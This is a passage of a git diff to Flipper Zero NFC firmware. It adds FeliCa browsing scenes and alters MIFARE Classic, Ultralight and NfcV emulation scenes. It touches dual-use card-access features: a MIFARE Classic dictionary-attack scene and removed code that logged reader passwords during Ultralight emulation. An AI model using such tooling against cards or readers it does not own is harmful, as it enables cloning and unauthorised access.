event) { + Nfc* nfc = context; + FelicaData* data = &nfc->dev->dev_data.felica_data; + FelicaSelectState* state = &nfc->felica_select; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + uint8_t index = event.event; + scene_manager_set_scene_state(nfc->scene_manager, NfcSceneMfUltralightMenu, index); + + if(index == 0) { + return false; + } + + index -= 1; + if(state->selected_system == NULL) { + state->selected_system = *FelicaSystemList_get(data->systems, index); + if(state->selected_system->code == LITE_SYSTEM_CODE) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaServiceData); + } else { + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaInfoSelect); + } + consumed = true; + } else { + FelicaNode* selected_node = NULL; + if(FelicaAreaPath_size(state->selected_areas) == 0) { + selected_node = + *FelicaNodeList_get(state->selected_system->root_area.nodes, index); + } else { + FelicaArea* current_area = *FelicaAreaPath_back(state->selected_areas); + selected_node = *FelicaNodeList_get(current_area->nodes, index); + } + + if(selected_node->type == FelicaNodeTypeArea) { + FelicaAreaPath_push_back(state->selected_areas, selected_node->area); + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaInfoSelect); + consumed = true; + } else if(selected_node->type == FelicaNodeTypeService) { + state->selected_service = selected_node->service; + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaServiceData); + consumed = true; + } + } + } else if(event.type == SceneManagerEventTypeBack) { + if(FelicaAreaPath_size(state->selected_areas) <= 1) { + FelicaAreaPath_clear(state->selected_areas); + state->selected_system = NULL; + } else { + FelicaAreaPath_pop_back(NULL, state->selected_areas); + } + consumed = scene_manager_previous_scene(nfc->scene_manager); + } + + return consumed; +} + +void nfc_scene_felica_info_select_on_exit(void* context) { + Nfc* nfc = context; + + // Clear view + FelicaAreaPath_clear(nfc->felica_select.selected_areas); + submenu_reset(nfc->submenu); +} diff --git a/applications/main/nfc/scenes/nfc_scene_felica_menu.c b/applications/main/nfc/scenes/nfc_scene_felica_menu.c new file mode 100644 index 000000000..b989047d6 --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_felica_menu.c @@ -0,0 +1,84 @@ +#include "../nfc_i.h" +#include + +enum SubmenuIndex { + /* + SubmenuIndexUnlock, + SubmenuIndexSave, + SubmenuIndexEmulate, + */ + SubmenuIndexInfo, +}; + +void nfc_scene_felica_menu_submenu_callback(void* context, uint32_t index) { + Nfc* nfc = context; + + view_dispatcher_send_custom_event(nfc->view_dispatcher, index); +} + +void nfc_scene_felica_menu_on_enter(void* context) { + Nfc* nfc = context; + Submenu* submenu = nfc->submenu; + // FelicaData* data = &nfc->dev->dev_data.felica_data; + + /* + submenu_add_item( + submenu, "Unlock", SubmenuIndexUnlock, nfc_scene_felica_menu_submenu_callback, nfc); + submenu_add_item( + submenu, "Save", SubmenuIndexSave, nfc_scene_felica_menu_submenu_callback, nfc); + submenu_add_item( + submenu, "Emulate", SubmenuIndexEmulate, nfc_scene_felica_menu_submenu_callback, nfc); + */ + submenu_add_item( + submenu, "Info", SubmenuIndexInfo, nfc_scene_felica_menu_submenu_callback, nfc); + + submenu_set_selected_item( + nfc->submenu, scene_manager_get_scene_state(nfc->scene_manager, NfcSceneFelicaMenu)); + + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewMenu); +} + +bool nfc_scene_felica_menu_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + /* + if(event.event == SubmenuIndexSave) { + nfc->dev->format = NfcDeviceSaveFormatFelica; + // Clear device name + nfc_device_set_name(nfc->dev, ""); + scene_manager_next_scene(nfc->scene_manager, NfcSceneSaveName); + consumed = true; + } else if(event.event == SubmenuIndexEmulate) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaEmulate); + if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetType)) { + DOLPHIN_DEED(DolphinDeedNfcAddEmulate); + } else { + DOLPHIN_DEED(DolphinDeedNfcEmulate); + } + consumed = true; + } else if(event.event == SubmenuIndexUnlock) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaUnlockMenu); + consumed = true; + } else + */ + if(event.event == SubmenuIndexInfo) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaInfoSelect); + consumed = true; + } + scene_manager_set_scene_state(nfc->scene_manager, NfcSceneFelicaMenu, event.event); + + } else if(event.type == SceneManagerEventTypeBack) { + consumed = scene_manager_previous_scene(nfc->scene_manager); + } + + return consumed; +} + +void nfc_scene_felica_menu_on_exit(void* context) { + Nfc* nfc = context; + + // Clear view + submenu_reset(nfc->submenu); +} diff --git a/applications/main/nfc/scenes/nfc_scene_felica_read_success.c b/applications/main/nfc/scenes/nfc_scene_felica_read_success.c new file mode 100644 index 000000000..52bba0ee3 --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_felica_read_success.c @@ -0,0 +1,83 @@ +#include "../nfc_i.h" + +void nfc_scene_felica_read_success_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + furi_assert(context); + Nfc* nfc = context; + + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(nfc->view_dispatcher, result); + } +} + +void nfc_scene_felica_read_success_on_enter(void* context) { + Nfc* nfc = context; + FelicaData* felica_data = &nfc->dev->dev_data.felica_data; + + // Setup view + Widget* widget = nfc->widget; + widget_add_button_element( + widget, GuiButtonTypeLeft, "Retry", nfc_scene_felica_read_success_widget_callback, nfc); + widget_add_button_element( + widget, GuiButtonTypeRight, "More", nfc_scene_felica_read_success_widget_callback, nfc); + + FuriString* temp_str = NULL; + if(furi_string_size(nfc->dev->dev_data.parsed_data)) { + temp_str = furi_string_alloc_set(nfc->dev->dev_data.parsed_data); + } else { + temp_str = furi_string_alloc_printf("\e#%s", nfc_felica_type(felica_data->type)); + + FelicaSystemList_it_t it; + for(FelicaSystemList_it(it, felica_data->systems); !FelicaSystemList_end_p(it); + FelicaSystemList_next(it)) { + FelicaSystem* current_system = *FelicaSystemList_ref(it); + furi_string_cat_printf( + temp_str, "\nSystem %04X (#%d):", current_system->code, current_system->number); + furi_string_cat_printf(temp_str, "\nIDm:\n "); + for(size_t i = 0; i < 8; i++) { + furi_string_cat_printf(temp_str, "%02X", current_system->idm[i]); + } + furi_string_cat_printf(temp_str, "\nPMm:\n "); + for(size_t i = 0; i < 8; i++) { + furi_string_cat_printf(temp_str, "%02X", current_system->pmm[i]); + } + } + } + + widget_add_text_scroll_element(widget, 0, 0, 128, 52, furi_string_get_cstr(temp_str)); + furi_string_free(temp_str); + + notification_message_block(nfc->notifications, &sequence_set_green_255); + + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); +} + +bool nfc_scene_felica_read_success_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeLeft) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneRetryConfirm); + consumed = true; + } else if(event.event == GuiButtonTypeRight) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaMenu); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneExitConfirm); + consumed = true; + } + return consumed; +} + +void nfc_scene_felica_read_success_on_exit(void* context) { + Nfc* nfc = context; + + notification_message_block(nfc->notifications, &sequence_reset_green); + + // Clear view + widget_reset(nfc->widget); +} diff --git a/applications/main/nfc/scenes/nfc_scene_felica_service_data.c b/applications/main/nfc/scenes/nfc_scene_felica_service_data.c new file mode 100644 index 000000000..5153d7d37 --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_felica_service_data.c @@ -0,0 +1,104 @@ +#include "../nfc_i.h" + +void nfc_scene_felica_service_data_on_enter(void* context) { + Nfc* nfc = context; + FelicaSelectState* select_state = &nfc->felica_select; + FelicaSystem* system = select_state->selected_system; + //FelicaService* service = select_state->selected_service; + TextBox* text_box = nfc->text_box; + + if(system->code == LITE_SYSTEM_CODE) { + FelicaLiteInfo* lite_info = &system->lite_info; + uint8_t* data; + text_box_set_font(text_box, TextBoxFontHex); + furi_string_cat_str(nfc->text_box_store, "S_PAD:\n"); + for(int i = 0; i < REG_LITE_BLOCK; i++) { + data = lite_info->S_PAD[i]; + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + if(data != NULL) { + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", data[i], data[i + 1]); + } else { + furi_string_cat_printf(nfc->text_box_store, "???? "); + } + } + } + + furi_string_cat_str(nfc->text_box_store, "REG:\n"); + data = lite_info->REG; + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + if(data != NULL) { + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", data[i], data[i + 1]); + } else { + furi_string_cat_printf(nfc->text_box_store, "???? "); + } + } + + furi_string_cat_str(nfc->text_box_store, "MAC:\n"); + data = lite_info->MAC; + for(uint16_t i = 0; i < 8; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", data[i], data[i + 1]); + } + + furi_string_cat_printf(nfc->text_box_store, "DFC: %04X\n", lite_info->data_format_code); + + furi_string_cat_str(nfc->text_box_store, "ID data:\n"); + data = lite_info->ID_value; + for(uint16_t i = 0; i < 6; i += 2) { + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", data[i], data[i + 1]); + } + furi_string_cat_str(nfc->text_box_store, "\n"); + + furi_string_cat_printf(nfc->text_box_store, "CKV: %04X\n", lite_info->card_key_version); + + furi_string_cat_str(nfc->text_box_store, "MC:\n"); + data = lite_info->memory_config; + for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", data[i], data[i + 1]); + } + + furi_string_cat_printf(nfc->text_box_store, "WCNT: %06lX\n", lite_info->write_count); + + furi_string_cat_str(nfc->text_box_store, "MAC_A:\n"); + data = lite_info->MAC_A; + for(uint16_t i = 0; i < 8; i += 2) { + if(!(i % 8) && i) { + furi_string_push_back(nfc->text_box_store, '\n'); + } + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", data[i], data[i + 1]); + } + } + text_box_set_text(text_box, furi_string_get_cstr(nfc->text_box_store)); + + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextBox); +} + +bool nfc_scene_felica_service_data_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeBack) { + consumed = scene_manager_previous_scene(nfc->scene_manager); + } + + return consumed; +} + +void nfc_scene_felica_service_data_on_exit(void* context) { + Nfc* nfc = context; + + // Clean view + text_box_reset(nfc->text_box); + furi_string_reset(nfc->text_box_store); +} \ No newline at end of file diff --git a/applications/main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c b/applications/main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c index b82bf5521..cb2f3a82d 100644 --- a/applications/main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c +++ b/applications/main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c @@ -115,7 +115,8 @@ bool nfc_scene_mf_classic_dict_attack_on_event(void* context, SceneManagerEvent consumed = true; } } else if(event.event == NfcWorkerEventAborted) { - if(state == DictAttackStateUserDictInProgress) { + if(state == DictAttackStateUserDictInProgress && + dict_attack_get_card_state(nfc->dict_attack)) { nfc_scene_mf_classic_dict_attack_prepare_view(nfc, state); consumed = true; } else { diff --git a/applications/main/nfc/scenes/nfc_scene_mf_ultralight_emulate.c b/applications/main/nfc/scenes/nfc_scene_mf_ultralight_emulate.c index 77d831cf8..f90d177e2 100644 --- a/applications/main/nfc/scenes/nfc_scene_mf_ultralight_emulate.c +++ b/applications/main/nfc/scenes/nfc_scene_mf_ultralight_emulate.c @@ -1,105 +1,21 @@ #include "../nfc_i.h" -#include #include "xtreme/assets.h" -#define NFC_SCENE_MF_ULTRALIGHT_EMULATE_LOG_SIZE_MAX (200) - #define NFC_MF_UL_DATA_NOT_CHANGED (0UL) #define NFC_MF_UL_DATA_CHANGED (1UL) -enum { - // View states - NfcSceneMfUltralightEmulateStateWidget, - NfcSceneMfUltralightEmulateStateTextBox, - NfcSceneMfUltralightEmulateStateMax = 0xFF, - // State flags - NfcSceneMfUltralightEmulateStateDataChanged = 1 << 8, - NfcSceneMfUltralightEmulateStateAuthAttempted = 1 << 9, - NfcSceneMfUltralightEmulateStateLogButtonShown = 1 << 10, -}; - bool nfc_mf_ultralight_emulate_worker_callback(NfcWorkerEvent event, void* context) { + UNUSED(event); Nfc* nfc = context; - uint32_t state = - scene_manager_get_scene_state(nfc->scene_manager, NfcSceneMfUltralightEmulate); - - if(event == NfcWorkerEventSuccess) - state |= NfcSceneMfUltralightEmulateStateDataChanged; - else if(event == NfcWorkerEventMfUltralightPwdAuth) { - // Don't update if we're exiting - if(nfc_worker_get_state(nfc->worker) != NfcWorkerStateStop) { - // Event data is only available for the duration of this callback, so we're updating the - // text box right here - MfUltralightAuth* auth = nfc_worker_get_event_data(nfc->worker); - if(auth != NULL && furi_string_size(nfc->text_box_store) < - NFC_SCENE_MF_ULTRALIGHT_EMULATE_LOG_SIZE_MAX) { - furi_string_cat(nfc->text_box_store, "PWD:"); - for(size_t i = 0; i < sizeof(auth->pwd.raw); ++i) { - furi_string_cat_printf(nfc->text_box_store, " %02X", auth->pwd.raw[i]); - } - furi_string_push_back(nfc->text_box_store, '\n'); - text_box_set_text(nfc->text_box, furi_string_get_cstr(nfc->text_box_store)); - } - state |= NfcSceneMfUltralightEmulateStateAuthAttempted; - } - } - scene_manager_set_scene_state(nfc->scene_manager, NfcSceneMfUltralightEmulate, state); - view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventWorkerExit); + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneMfUltralightEmulate, NFC_MF_UL_DATA_CHANGED); return true; } -void nfc_scene_mf_ultralight_emulate_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - furi_assert(context); - Nfc* nfc = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc->view_dispatcher, result); - } -} - -void nfc_scene_mf_ultralight_emulate_widget_config(Nfc* nfc, bool auth_attempted) { - Widget* widget = nfc->widget; - widget_reset(widget); - FuriString* info_str; - info_str = furi_string_alloc(); - - widget_add_icon_element(widget, 0, 3, XTREME_ASSETS()->I_NFC_dolphin_emulation_47x61); - - if(strcmp(nfc->dev->dev_name, "")) { - furi_string_printf(info_str, "Emulating\n%s", nfc->dev->dev_name); - } else { - furi_string_printf(info_str, "Emulating\nMf Ultralight"); - } - - widget_add_string_multiline_element( - widget, 56, 31, AlignLeft, AlignTop, FontPrimary, furi_string_get_cstr(info_str)); - furi_string_free(info_str); - if(auth_attempted) { - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Log", - nfc_scene_mf_ultralight_emulate_widget_callback, - nfc); - } -} - void nfc_scene_mf_ultralight_emulate_on_enter(void* context) { Nfc* nfc = context; - uint32_t state = - scene_manager_get_scene_state(nfc->scene_manager, NfcSceneMfUltralightEmulate); - // Setup Widget - nfc_scene_mf_ultralight_emulate_widget_config(nfc, false); - state &= ~NfcSceneMfUltralightEmulateStateLogButtonShown; - // Setup TextBox - TextBox* text_box = nfc->text_box; - text_box_set_font(text_box, TextBoxFontHex); - text_box_set_focus(text_box, TextBoxFocusEnd); - furi_string_reset(nfc->text_box_store); // Setup view MfUltralightType type = nfc->dev->dev_data.mf_ul_data.type; bool is_ultralight = (type == MfUltralightTypeUL11) || (type == MfUltralightTypeUL21) || @@ -116,12 +32,8 @@ void nfc_scene_mf_ultralight_emulate_on_enter(void* context) { popup_set_icon(popup, 0, 3, XTREME_ASSETS()->I_NFC_dolphin_emulation_47x61); popup_set_text(popup, nfc->text_store, 90, 28, AlignCenter, AlignTop); - // Set Widget state and view - state = (state & ~NfcSceneMfUltralightEmulateStateMax) | - NfcSceneMfUltralightEmulateStateWidget; - scene_manager_set_scene_state(nfc->scene_manager, NfcSceneMfUltralightEmulate, state); - view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); - // Start worker + // Setup and start worker + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewPopup); nfc_worker_start( nfc->worker, NfcWorkerStateMfUltralightEmulate, @@ -148,28 +60,16 @@ bool nfc_scene_mf_ultralight_emulate_on_event(void* context, SceneManagerEvent e nfc_device_save_shadow(nfc->dev, furi_string_get_cstr(nfc->dev->load_path)); } } + consumed = false; } return consumed; } void nfc_scene_mf_ultralight_emulate_on_exit(void* context) { Nfc* nfc = context; - uint32_t state = - scene_manager_get_scene_state(nfc->scene_manager, NfcSceneMfUltralightEmulate); - - // Stop worker - nfc_worker_stop(nfc->worker); - // Check if data changed and save in shadow file - if(state & NfcSceneMfUltralightEmulateStateDataChanged) { - state &= ~NfcSceneMfUltralightEmulateStateDataChanged; - scene_manager_set_scene_state(nfc->scene_manager, NfcSceneMfUltralightEmulate, state); - nfc_device_save_shadow(nfc->dev, nfc->dev->dev_name); - } // Clear view - widget_reset(nfc->widget); - text_box_reset(nfc->text_box); - furi_string_reset(nfc->text_box_store); + popup_reset(nfc->popup); nfc_blink_stop(nfc); } diff --git a/applications/main/nfc/scenes/nfc_scene_mf_ultralight_menu.c b/applications/main/nfc/scenes/nfc_scene_mf_ultralight_menu.c index ddf30c54a..c511e9dcb 100644 --- a/applications/main/nfc/scenes/nfc_scene_mf_ultralight_menu.c +++ b/applications/main/nfc/scenes/nfc_scene_mf_ultralight_menu.c @@ -2,8 +2,7 @@ #include enum SubmenuIndex { - SubmenuIndexUnlockByReader, - SubmenuIndexUnlockByPassword, + SubmenuIndexUnlock, SubmenuIndexSave, SubmenuIndexEmulate, SubmenuIndexInfo, @@ -23,14 +22,8 @@ void nfc_scene_mf_ultralight_menu_on_enter(void* context) { if(!mf_ul_is_full_capture(data)) { submenu_add_item( submenu, - "Unlock With Reader", - SubmenuIndexUnlockByReader, - nfc_scene_mf_ultralight_menu_submenu_callback, - nfc); - submenu_add_item( - submenu, - "Unlock With Password", - SubmenuIndexUnlockByPassword, + "Unlock", + SubmenuIndexUnlock, nfc_scene_mf_ultralight_menu_submenu_callback, nfc); } @@ -70,10 +63,7 @@ bool nfc_scene_mf_ultralight_menu_on_event(void* context, SceneManagerEvent even DOLPHIN_DEED(DolphinDeedNfcEmulate); } consumed = true; - } else if(event.event == SubmenuIndexUnlockByReader) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneMfUltralightUnlockAuto); - consumed = true; - } else if(event.event == SubmenuIndexUnlockByPassword) { + } else if(event.event == SubmenuIndexUnlock) { scene_manager_next_scene(nfc->scene_manager, NfcSceneMfUltralightUnlockMenu); consumed = true; } else if(event.event == SubmenuIndexInfo) { diff --git a/applications/main/nfc/scenes/nfc_scene_mf_ultralight_unlock_auto.c b/applications/main/nfc/scenes/nfc_scene_mf_ultralight_unlock_auto.c index 050f6db1e..c59fe3a7d 100644 --- a/applications/main/nfc/scenes/nfc_scene_mf_ultralight_unlock_auto.c +++ b/applications/main/nfc/scenes/nfc_scene_mf_ultralight_unlock_auto.c @@ -31,7 +31,7 @@ void nfc_scene_mf_ultralight_unlock_auto_on_enter(void* context) { nfc_scene_mf_ultralight_unlock_auto_worker_callback, nfc); - nfc_blink_emulate_start(nfc); + nfc_blink_read_start(nfc); } bool nfc_scene_mf_ultralight_unlock_auto_on_event(void* context, SceneManagerEvent event) { @@ -58,7 +58,6 @@ void nfc_scene_mf_ultralight_unlock_auto_on_exit(void* context) { // Stop worker nfc_worker_stop(nfc->worker); // Clear view - popup_reset(nfc->popup); widget_reset(nfc->widget); nfc_blink_stop(nfc); diff --git a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c index d6cb48047..7f3a8907c 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c +++ b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c @@ -26,7 +26,7 @@ void nfc_scene_nfc_data_info_on_enter(void* context) { NfcProtocol protocol = dev_data->protocol; uint8_t text_scroll_height = 0; if((protocol == NfcDeviceProtocolMifareDesfire) || (protocol == NfcDeviceProtocolMifareUl) || - (protocol == NfcDeviceProtocolNfcV) || (protocol == NfcDeviceProtocolMifareClassic)) { + (protocol == NfcDeviceProtocolMifareClassic) || (protocol == NfcDeviceProtocolNfcV)) { widget_add_button_element( widget, GuiButtonTypeRight, "More", nfc_scene_nfc_data_info_widget_callback, nfc); text_scroll_height = 52; @@ -44,8 +44,6 @@ void nfc_scene_nfc_data_info_on_enter(void* context) { // Set tag type if(protocol == NfcDeviceProtocolEMV) { furi_string_cat_printf(temp_str, "\e#EMV Bank Card\n"); - } else if(protocol == NfcDeviceProtocolMRTD) { - furi_string_cat_printf(temp_str, "\e#Passport/ID\n"); } else if(protocol == NfcDeviceProtocolMifareUl) { furi_string_cat_printf( temp_str, "\e#%s\n", nfc_mf_ul_type(dev_data->mf_ul_data.type, true)); @@ -89,8 +87,16 @@ void nfc_scene_nfc_data_info_on_enter(void* context) { } furi_string_cat_printf(temp_str, "\n"); - furi_string_cat_printf(temp_str, "DSFID: %02X\n", nfcv_data->dsfid); - furi_string_cat_printf(temp_str, "AFI: %02X\n", nfcv_data->afi); + furi_string_cat_printf( + temp_str, + "DSFID: %02X %s\n", + nfcv_data->dsfid, + (nfcv_data->security_status[0] & NfcVLockBitDsfid) ? "(locked)" : ""); + furi_string_cat_printf( + temp_str, + "AFI: %02X %s\n", + nfcv_data->afi, + (nfcv_data->security_status[0] & NfcVLockBitAfi) ? "(locked)" : ""); furi_string_cat_printf(temp_str, "IC Ref: %02X\n", nfcv_data->ic_ref); furi_string_cat_printf(temp_str, "Blocks: %02X\n", nfcv_data->block_num); furi_string_cat_printf(temp_str, "Blocksize: %02X\n", nfcv_data->block_size); @@ -105,11 +111,12 @@ void nfc_scene_nfc_data_info_on_enter(void* context) { } for(int block = 0; block < maxBlocks; block++) { + const char* status = (nfcv_data->security_status[block] & 0x01) ? "(lck)" : ""; for(int pos = 0; pos < nfcv_data->block_size; pos++) { furi_string_cat_printf( temp_str, " %02X", nfcv_data->data[block * nfcv_data->block_size + pos]); } - furi_string_cat_printf(temp_str, "\n"); + furi_string_cat_printf(temp_str, " %s\n", status); } furi_string_cat_printf(temp_str, "\n"); @@ -194,15 +201,15 @@ void nfc_scene_nfc_data_info_on_enter(void* context) { break; } } else { - char iso_type = FURI_BIT(nfc_data->sak, 5) ? '4' : '3'; + char iso_type = FURI_BIT(nfc_data->a_data.sak, 5) ? '4' : '3'; furi_string_cat_printf(temp_str, "ISO 14443-%c (NFC-A)\n", iso_type); furi_string_cat_printf(temp_str, "UID:"); for(size_t i = 0; i < nfc_data->uid_len; i++) { furi_string_cat_printf(temp_str, " %02X", nfc_data->uid[i]); } furi_string_cat_printf( - temp_str, "\nATQA: %02X %02X ", nfc_data->atqa[1], nfc_data->atqa[0]); - furi_string_cat_printf(temp_str, " SAK: %02X", nfc_data->sak); + temp_str, "\nATQA: %02X %02X ", nfc_data->a_data.atqa[1], nfc_data->a_data.atqa[0]); + furi_string_cat_printf(temp_str, " SAK: %02X", nfc_data->a_data.sak); } // Set application specific data @@ -287,12 +294,12 @@ bool nfc_scene_nfc_data_info_on_event(void* context, SceneManagerEvent event) { } else if(protocol == NfcDeviceProtocolMifareUl) { scene_manager_next_scene(nfc->scene_manager, NfcSceneMfUltralightData); consumed = true; - } else if(protocol == NfcDeviceProtocolNfcV) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVMenu); - consumed = true; } else if(protocol == NfcDeviceProtocolMifareClassic) { scene_manager_next_scene(nfc->scene_manager, NfcSceneMfClassicData); consumed = true; + } else if(protocol == NfcDeviceProtocolNfcV) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVMenu); + consumed = true; } } } diff --git a/applications/main/nfc/scenes/nfc_scene_nfca_read_success.c b/applications/main/nfc/scenes/nfc_scene_nfca_read_success.c index a38f31a98..74fff367f 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfca_read_success.c +++ b/applications/main/nfc/scenes/nfc_scene_nfca_read_success.c @@ -24,14 +24,15 @@ void nfc_scene_nfca_read_success_on_enter(void* context) { notification_message_block(nfc->notifications, &sequence_set_green_255); - char iso_type = FURI_BIT(data->sak, 5) ? '4' : '3'; + char iso_type = FURI_BIT(data->a_data.sak, 5) ? '4' : '3'; furi_string_cat_printf(temp_str, "ISO 14443-%c (NFC-A)\n", iso_type); furi_string_cat_printf(temp_str, "UID:"); for(size_t i = 0; i < data->uid_len; i++) { furi_string_cat_printf(temp_str, " %02X", data->uid[i]); } - furi_string_cat_printf(temp_str, "\nATQA: %02X %02X ", data->atqa[1], data->atqa[0]); - furi_string_cat_printf(temp_str, " SAK: %02X", data->sak); + furi_string_cat_printf( + temp_str, "\nATQA: %02X %02X ", data->a_data.atqa[1], data->a_data.atqa[0]); + furi_string_cat_printf(temp_str, " SAK: %02X", data->a_data.sak); widget_add_text_scroll_element(widget, 0, 0, 128, 52, furi_string_get_cstr(temp_str)); furi_string_free(temp_str); diff --git a/applications/main/nfc/scenes/nfc_scene_emulate_nfcv.c b/applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c similarity index 65% rename from applications/main/nfc/scenes/nfc_scene_emulate_nfcv.c rename to applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c index 0e9f6b428..ca10f5d6e 100644 --- a/applications/main/nfc/scenes/nfc_scene_emulate_nfcv.c +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c @@ -1,22 +1,31 @@ #include "../nfc_i.h" -#include "xtreme/assets.h" -#define NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX (100) +#define NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX (200) enum { - NfcSceneEmulateNfcVStateWidget, - NfcSceneEmulateNfcVStateTextBox, + NfcSceneNfcVEmulateStateWidget, + NfcSceneNfcVEmulateStateTextBox, }; -bool nfc_emulate_nfcv_worker_callback(NfcWorkerEvent event, void* context) { +bool nfc_scene_nfcv_emulate_worker_callback(NfcWorkerEvent event, void* context) { UNUSED(event); furi_assert(context); Nfc* nfc = context; - view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventWorkerExit); + + switch(event) { + case NfcWorkerEventNfcVCommandExecuted: + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventUpdateLog); + break; + case NfcWorkerEventNfcVContentChanged: + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventSaveShadow); + break; + default: + break; + } return true; } -void nfc_scene_emulate_nfcv_widget_callback(GuiButtonType result, InputType type, void* context) { +void nfc_scene_nfcv_emulate_widget_callback(GuiButtonType result, InputType type, void* context) { furi_assert(context); Nfc* nfc = context; if(type == InputTypeShort) { @@ -24,22 +33,20 @@ void nfc_scene_emulate_nfcv_widget_callback(GuiButtonType result, InputType type } } -void nfc_emulate_nfcv_textbox_callback(void* context) { +void nfc_scene_nfcv_emulate_textbox_callback(void* context) { furi_assert(context); Nfc* nfc = context; view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventViewExit); } -// Add widget with device name or inform that data received -static void nfc_scene_emulate_nfcv_widget_config(Nfc* nfc, bool data_received) { +static void nfc_scene_nfcv_emulate_widget_config(Nfc* nfc, bool data_received) { FuriHalNfcDevData* data = &nfc->dev->dev_data.nfc_data; Widget* widget = nfc->widget; widget_reset(widget); FuriString* info_str; info_str = furi_string_alloc(); - widget_add_icon_element(widget, 0, 3, XTREME_ASSETS()->I_RFIDDolphinSend_97x61); - + widget_add_icon_element(widget, 0, 3, &I_RFIDDolphinSend_97x61); widget_add_string_element( widget, 89, 32, AlignCenter, AlignTop, FontPrimary, "Emulating NfcV"); if(strcmp(nfc->dev->dev_name, "")) { @@ -55,24 +62,25 @@ static void nfc_scene_emulate_nfcv_widget_config(Nfc* nfc, bool data_received) { furi_string_free(info_str); if(data_received) { widget_add_button_element( - widget, GuiButtonTypeCenter, "Log", nfc_scene_emulate_nfcv_widget_callback, nfc); + widget, GuiButtonTypeCenter, "Log", nfc_scene_nfcv_emulate_widget_callback, nfc); } } -void nfc_scene_emulate_nfcv_on_enter(void* context) { +void nfc_scene_nfcv_emulate_on_enter(void* context) { Nfc* nfc = context; // Setup Widget - nfc_scene_emulate_nfcv_widget_config(nfc, false); + nfc_scene_nfcv_emulate_widget_config(nfc, false); // Setup TextBox TextBox* text_box = nfc->text_box; text_box_set_font(text_box, TextBoxFontHex); text_box_set_focus(text_box, TextBoxFocusEnd); + text_box_set_text(text_box, ""); furi_string_reset(nfc->text_box_store); // Set Widget state and view scene_manager_set_scene_state( - nfc->scene_manager, NfcSceneEmulateNfcV, NfcSceneEmulateNfcVStateWidget); + nfc->scene_manager, NfcSceneNfcVEmulate, NfcSceneNfcVEmulateStateWidget); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); // Start worker memset(&nfc->dev->dev_data.reader_data, 0, sizeof(NfcReaderRequestData)); @@ -80,25 +88,25 @@ void nfc_scene_emulate_nfcv_on_enter(void* context) { nfc->worker, NfcWorkerStateNfcVEmulate, &nfc->dev->dev_data, - nfc_emulate_nfcv_worker_callback, + nfc_scene_nfcv_emulate_worker_callback, nfc); nfc_blink_emulate_start(nfc); } -bool 